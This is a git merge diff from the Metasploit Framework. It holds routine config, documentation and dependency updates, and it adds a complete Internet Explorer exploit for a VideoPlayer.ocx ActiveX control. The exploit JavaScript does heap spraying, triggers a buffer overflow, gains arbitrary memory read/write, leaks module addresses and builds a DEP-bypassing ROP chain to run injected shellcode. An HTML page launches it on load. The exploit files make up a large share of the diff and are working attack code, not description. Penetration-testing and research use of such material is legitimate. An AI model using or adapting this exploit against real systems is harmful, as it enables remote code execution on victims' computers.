Merge remote-tracking branch 'upstream/master' into msfvenom_psh_squash
Conflicts: lib/msf/util/exe.rbbug/bundler_fix
commit
ebf77cd02d
|
@ -67,17 +67,7 @@ external/source/exploits/**/Release
|
|||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
data/meterpreter/*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
13
.mailmap
13
.mailmap
|
@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
|||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
|
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
|||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
|
|
10
.travis.yml
10
.travis.yml
|
@ -11,11 +11,10 @@ matrix:
|
|||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
# Uncomment when we have fewer shipping msftidy warnings.
|
||||
# Merge committers will still be checking, just not autofailing.
|
||||
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
# - ls -la ./.git/hooks
|
||||
# - ./.git/hooks/post-merge
|
||||
# Fail build if msftidy is not successful
|
||||
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
|
@ -26,7 +25,6 @@ script:
|
|||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '1.9.3'
|
||||
- '2.1'
|
||||
|
||||
notifications:
|
||||
|
|
|
@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
|
|||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
||||
Please try to be as specific as you can about your problem, include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful), and
|
||||
Please try to be as specific as you can about your problem; include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful) and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
|
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
|
|||
|
||||
# Contributing to Metasploit
|
||||
|
||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||
What you see here in CONTRIBUTING.md is a bullet point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
|
@ -27,7 +27,7 @@ closed. Sorry!
|
|||
|
||||
This is intended to be a **short** list. The [wiki] is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup] guide,
|
||||
look at the standard [development environment setup] guide
|
||||
and Metasploit's [Common Coding Mistakes].
|
||||
|
||||
## Code Contributions
|
||||
|
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
|
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel]
|
||||
or e-mail us at [metasploit-hackers] mailing list.
|
||||
source contributors over on the [Freenode IRC channel],
|
||||
or e-mail us at the [metasploit-hackers] mailing list.
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
|
|||
[Issue Tracker]:http://r-7.co/MSF-BUGv1
|
||||
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
|
||||
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
|
||||
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[development environment setup]:http://r-7.co/MSF-DEV
|
||||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
|
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
|
|||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api/
|
||||
[RSpec]:http://rspec.info/
|
||||
[Better Specs]:http://betterspecs.org/
|
||||
[YARD]:http://yardoc.org/
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://betterspecs.org
|
||||
[YARD]:http://yardoc.org
|
||||
[Issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
|
||||
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
|
||||
|
|
44
Gemfile.lock
44
Gemfile.lock
|
@ -8,13 +8,13 @@ PATH
|
|||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
meterpreter_bins (= 0.0.13)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.17)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rb-readline
|
||||
rb-readline-r7
|
||||
recog (~> 1.0)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
|
@ -22,9 +22,9 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.13.17)
|
||||
metasploit-credential (~> 0.14.3)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.22.7)
|
||||
metasploit_data_models (~> 0.23.2)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -68,7 +68,7 @@ GEM
|
|||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.9)
|
||||
bcrypt (3.1.10)
|
||||
builder (3.0.4)
|
||||
capybara (2.4.1)
|
||||
mime-types (>= 1.16)
|
||||
|
@ -105,41 +105,41 @@ GEM
|
|||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.1)
|
||||
json (1.8.2)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.18)
|
||||
metasploit-credential (0.14.3)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit_data_models (~> 0.22.7)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.28.0)
|
||||
metasploit-model (0.29.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.22.7)
|
||||
metasploit_data_models (0.23.2)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.13)
|
||||
meterpreter_bins (0.0.17)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.2)
|
||||
msgpack (0.5.9)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.5)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
|
@ -154,7 +154,7 @@ GEM
|
|||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack-test (0.6.2)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.21)
|
||||
actionmailer (= 3.2.21)
|
||||
|
@ -172,10 +172,10 @@ GEM
|
|||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline (0.5.1)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.7)
|
||||
recog (1.0.24)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -199,8 +199,8 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyzip (1.1.6)
|
||||
rubyntlm (0.5.0)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
|
@ -219,7 +219,7 @@ GEM
|
|||
treetop (1.4.15)
|
||||
polyglot
|
||||
polyglot (>= 0.3.1)
|
||||
tzinfo (0.3.42)
|
||||
tzinfo (0.3.43)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.4)
|
||||
|
|
4
LICENSE
4
LICENSE
|
@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
|
|||
2009-2012 H D Moore <hdm[at]rapid7.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/ruby-lorcon/*
|
||||
Copyright: 2005, dragorn and Joshua Wright
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
|
|
12
README.md
12
README.md
|
@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
|
|||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from https://metasploit.com/
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
|
|||
Installing
|
||||
--
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||
which contains all dependencies and will get you up and running with a
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
|
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
|
|||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more info, see
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,7 +11,6 @@
|
|||
|
||||
require 'rubygems' # install rubygems
|
||||
require 'hpricot' # gem install hpricot
|
||||
require 'open-uri'
|
||||
require 'timeout'
|
||||
|
||||
def usage
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
|
||||
require 'rubygems' # install rubygems
|
||||
require 'hpricot' # gem install hpricot
|
||||
require 'open-uri'
|
||||
require 'uri'
|
||||
require 'timeout'
|
||||
|
||||
def usage
|
||||
|
@ -36,7 +36,7 @@ File.readlines(sitelist).each do |site|
|
|||
["", "www."].each do |prefix|
|
||||
begin
|
||||
Timeout.timeout(10) do
|
||||
doc = Hpricot(open("http://#{prefix}#{site}/"))
|
||||
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
|
||||
doc.search("//form").each do |form|
|
||||
|
||||
# Extract the form
|
||||
|
|
|
@ -0,0 +1,126 @@
|
|||
var Exploit = function () {
|
||||
// create its vulnerable ActiveX object (as HTMLObjectElement)
|
||||
this.obj = document.createElement("object");
|
||||
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
|
||||
// perform controlled memwrite to 0x1111f010: typed array header is at
|
||||
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
|
||||
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
|
||||
// The first 3 dwords are sideeffects due to the code we abuse for the
|
||||
// controlled memcpy
|
||||
this.whereAddress = 0x1111f010;
|
||||
this.memory = null;
|
||||
this.addresses = new Object();
|
||||
this.sprayer = null;
|
||||
this.informer = null;
|
||||
this.sc = "<%=shellcode%>";
|
||||
};
|
||||
|
||||
Exploit.prototype.run = function() {
|
||||
CollectGarbage();
|
||||
this.sprayer = new Sprayer();
|
||||
this.sprayer.spray();
|
||||
|
||||
this.memory = this.doCorruption();
|
||||
|
||||
//alert(this.memory.length.toString(16))
|
||||
if (this.memory.length != 0x7fffffff){
|
||||
//alert("Cannot change Uint32Array length");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// now we could even repair the change we did with memcpy ...
|
||||
|
||||
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
|
||||
var leakSuccess = this.leakAddresses();
|
||||
|
||||
if (leakSuccess != 0) {
|
||||
//alert("Cannot leak required address to build the ROP chain");
|
||||
return leakSuccess;
|
||||
}
|
||||
|
||||
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
|
||||
ropBuilder.buildRop();
|
||||
|
||||
// manipulate object data to gain EIP control with "Play" method
|
||||
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
|
||||
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
|
||||
|
||||
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
|
||||
this.obj.Play()
|
||||
};
|
||||
|
||||
Exploit.prototype.prepareOverflow = function() {
|
||||
// prepare buffer with address we want to write to
|
||||
var ptrBuf = "";
|
||||
// fill buffer: length = relative pointer address - buffer start + pointer
|
||||
// offset
|
||||
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
|
||||
ptrBuf += this.dword2str(this.whereAddress);
|
||||
|
||||
return ptrBuf;
|
||||
};
|
||||
|
||||
Exploit.prototype.doCorruption = function() {
|
||||
var ptrBuf = this.prepareOverflow();
|
||||
|
||||
// trigger: overflow buffer and overwrite the pointer value after buffer
|
||||
this.obj.SetText(ptrBuf, 0, 0);
|
||||
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
|
||||
|
||||
// use overwritten pointer after buffer with method "SetFontName" to conduct
|
||||
// memory write. We overwrite a typed array's header length to 0x40 and let
|
||||
// its buffer point to the next typed array header at 0x1111f030 (see above)
|
||||
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
|
||||
|
||||
|
||||
if (this.sprayer.find() == -1){
|
||||
//alert("cannot find corrupted Uint32Array");
|
||||
return -1
|
||||
}
|
||||
|
||||
// modify subsequent Uint32Array to be able to RW all process memory
|
||||
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
|
||||
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
|
||||
|
||||
// our memory READWRITE interface :)
|
||||
return this.sprayer.fullMemory;
|
||||
};
|
||||
|
||||
Exploit.prototype.leakAddresses = function() {
|
||||
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
|
||||
|
||||
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
|
||||
|
||||
// check if we have the image of VideoPlayer.ocx
|
||||
// check for MZ9000 header and "Vide" string at offset 0x6a000
|
||||
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
|
||||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
|
||||
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
|
||||
return -1;
|
||||
}
|
||||
//alert(this.addresses['base'].toString(16))
|
||||
|
||||
// get VirtualAlloc from imports of VideoPlayer.ocx
|
||||
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
|
||||
// memcpy is available inside VideoPlayer.ocx
|
||||
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
|
||||
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
|
||||
|
||||
scBuf = new Uint8Array(this.sc.length);
|
||||
for (n=0; n < this.sc.length; n++){
|
||||
scBuf[n] = this.sc.charCodeAt(n);
|
||||
}
|
||||
|
||||
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
|
||||
|
||||
return 0;
|
||||
};
|
||||
|
||||
// dword to little endian string
|
||||
Exploit.prototype.dword2str = function(dword) {
|
||||
var str = "";
|
||||
for (var n=0; n < 4; n++){
|
||||
str += String.fromCharCode((dword >> 8 * n) & 0xff);
|
||||
}
|
||||
return str;
|
||||
};
|
|
@ -0,0 +1,52 @@
|
|||
var Informer = function(infArray, mem, ref) {
|
||||
this.infoLeakArray = infArray;
|
||||
this.memoryArray = mem;
|
||||
this.referenceAddress = ref;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer.ocx base
|
||||
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
|
||||
// deref heap pointer containing VideoPlayer.ocx pointer
|
||||
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
|
||||
var base = videoplayerPtr - 0x6b3b0; // calculate base
|
||||
|
||||
return base;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer object addres
|
||||
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
|
||||
return objPtr;
|
||||
};
|
||||
|
||||
// Calculate the shellcode address
|
||||
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
|
||||
this.infoLeakArray[0] = shellcodeBuffer;
|
||||
// therefore, leak array element at 0x11120020 (typed array header of
|
||||
// Uint8Array containing shellcode) ...
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
|
||||
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
|
||||
|
||||
return shellcodeAddr;
|
||||
};
|
||||
|
||||
|
||||
Informer.prototype.leakRopAddress = function(ropArray) {
|
||||
this.infoLeakArray[0] = ropArray
|
||||
// leak array element at 0x11120020 (typed array header)
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// deref array element + 0x1c (leak rop's buffer address)
|
||||
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
|
||||
|
||||
return ropAddr;
|
||||
};
|
|
@ -0,0 +1,38 @@
|
|||
var RopBuilder = function(informer, addresses, scLength) {
|
||||
this.rop = new Uint32Array(0x1000);
|
||||
this.ropAddress = informer.leakRopAddress(this.rop);
|
||||
this.base = addresses['base'];
|
||||
this.virtualAlloc = addresses['virtualAlloc'];
|
||||
this.memcpy = addresses['memcpy'];
|
||||
this.scAddr = addresses['shellcode'];
|
||||
this.scLength = scLength;
|
||||
};
|
||||
|
||||
// Build the ROP chain to bypass DEP
|
||||
RopBuilder.prototype.buildRop = function() {
|
||||
// ROP chain (rets in comments are omitted)
|
||||
// we perform:
|
||||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
||||
// memcpy(EAX, shellcode, shellcodeLen)
|
||||
// (void(*)())EAX()
|
||||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
||||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
||||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
||||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
||||
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
|
||||
this.rop[offs + 0x3] = 0; // lpAddress
|
||||
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
|
||||
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
|
||||
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
|
||||
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
|
||||
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
|
||||
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
|
||||
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
|
||||
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
|
||||
this.rop[offs + 0xc] = this.memcpy;
|
||||
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
|
||||
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
|
||||
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
|
||||
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
|
||||
};
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
var Sprayer = function () {
|
||||
// amount of arrays to create on the heap
|
||||
this.nrArrays = 0x1000;
|
||||
// size of data in one array block: 0xefe0 bytes =>
|
||||
// subract array header (0x20) and space for typed array headers (0x1000)
|
||||
// from 0x10000
|
||||
this.arrSize = (0x10000-0x20-0x1000)/4;
|
||||
// heap array container will hold our heap sprayed data
|
||||
this.arr = new Array(this.nrArrays);
|
||||
// use one buffer for all typed arrays
|
||||
this.intArrBuf = new ArrayBuffer(4);
|
||||
this.corruptedArray = null;
|
||||
this.corruptedArrayNext = null;
|
||||
};
|
||||
|
||||
// Spray the heap with array data blocks and subsequent typed array headers
|
||||
// of type Uint32Array
|
||||
Sprayer.prototype.spray = function() {
|
||||
var k = 0;
|
||||
while(k < this.nrArrays) {
|
||||
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
|
||||
// aligned at 0xXXXX0020)
|
||||
this.arr[k] = new Array(this.arrSize);
|
||||
|
||||
// fill remaining page (0x1000) after array data with headers of
|
||||
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
|
||||
// typed array header has the size of 0x30. 0x10 bytes are left empty
|
||||
for(var i = 0; i < 0x55; i++){
|
||||
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
|
||||
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
|
||||
}
|
||||
|
||||
// tag the array's last element
|
||||
this.arr[k][this.arrSize - 1] = 0x12121212;
|
||||
k += 1;
|
||||
}
|
||||
};
|
||||
|
||||
// Find the corrupted Uint32Array (typed array)
|
||||
Sprayer.prototype.find = function() {
|
||||
var k = 0;
|
||||
|
||||
while(k < this.nrArrays - 1) {
|
||||
for(var i = 0; i < 0x55-1; i++){
|
||||
if(this.arr[k][i][0] != 0){
|
||||
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
|
||||
// alert("0x" + arr[k][i][0].toString(16))
|
||||
this.corruptedArray = this.arr[k][i];
|
||||
this.corruptedArrayNext = this.arr[k+1];
|
||||
this.fullMemory = this.arr[k][i+1];
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
k++;
|
||||
}
|
||||
|
||||
return -1;
|
||||
};
|
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script src="js/exploit.js"></script>
|
||||
<script src="js/sprayer.js"></script>
|
||||
<script src="js/informer.js"></script>
|
||||
<script src="js/rop_builder.js"></script>
|
||||
</head>
|
||||
<body onload="e = new Exploit(); e.run();">
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
